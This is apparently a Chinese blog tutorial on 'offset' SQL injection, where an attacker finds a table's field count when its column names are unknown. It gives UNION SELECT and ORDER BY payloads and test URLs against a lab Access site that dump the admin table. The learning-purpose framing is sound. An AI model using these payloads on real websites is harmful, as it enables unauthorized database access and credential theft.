WEB安全之:偏移 SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

  • 偏移注入是比较独有的一种注入手段,一般用于在猜解了表名但是没有猜解出字段名的情况下使用,用于确定当前表的字段数。适用于 Mysql、Access 数据库
  • 需要联合两个表。

1 原理

  • 根据数据库的层级关系,我们知道以下内容:

    select * from admin
    等价于:
    select admin.* from admin
    还等价于:
    select [所有 admin 表字段名称] from admin
    
  • inner join :所谓二级偏移注入,实质是增加一倍所查询表字段长度。

    INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。
    LEFT JOIN(左连接):获取左表所有记录,即使右表没有对应匹配的记录。
    RIGHT JOIN(右连接): 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。
    # Mysql 中 INNER JOIN 与 JOIN 是相同的。
    # 交集
    select * from table_a as A inner join table_b as B on A.bid = B.bid;
    # 显示左边对比下相同的数值
    select * from A left join B on A.a = B.b;
    # 显示右边对比下相同的数值
    select * from A right join B on A.a = B.b;
    # 显示两边的合集,mysql不直接支持full
    select * from A left join B on A.a = B.b union select * from A right join B on A.a = B.b;
    
  • 偏移注入方式:

    • 前提条件:当前表的字段数大于或等于联合表的字段数
    # 假设当前表 table1 有 8 个字段,table2 表有 3 个字段,注入过程中,我们没有猜解出 table2 表的字段名,使用偏移注入的方式确定 table2 的字段数。
    1. payload1 正确显示
    union select 1,2,3,4,5,6,7,8
    
    2. payload2 正确显示,因为此时虽然写上 table2,但实际字段数依然是由那 8 个数字来表示。
    union select 1,2,3,4,5,6,7,8 from table2
    
    3. payload3 报列数不一致
    union select 1,2,3,4,5,6,7,table2.* from table2
    
    4. payload4 报列数不一致
    union select 1,2,3,4,5,6,table2.* from table2
    
    5. payload5 正确
    union select 1,2,3,4,5,table2.* from table2
    
    6.union select 前的 select 语句变为假,可以得到 table2 的数据
    例:
    select * from table1 where id=-1 union select table2.* from table2
    
    结论:说明 table2 下面有 3 个字段
    

2 判断有无注入

以 Access 数据库为例

  • 粗略型:提交单引号 '
  • 逻辑型(数字型注入): and 1=1/and 1=2
  • 逻辑型(字符型注入): ' and '1'='1/' and '1'='2
  • 逻辑型(搜索型注入): %' and 1=1 and '%'='%/%' and 1=2 and '%'='%
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2

3 猜解表名

3.1 猜解当前表字段数

http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 order by 22

3.2 猜解重要表名

  • 若 union SELECT 语句所查询的表不存在,则返回错误信息。
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin

3.3 猜解关键表

3.3.1 偏移注入猜解 admin 表字段数

http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,admin.* from admin

3.3.2 移动 admin.* 的位置,尝试爆破 admin 表数据

http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select admin.*,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin

http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,admin.*,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
posted @ 2021-06-18 14:00  f_carey  阅读(66)  评论(0编辑  收藏  举报  来源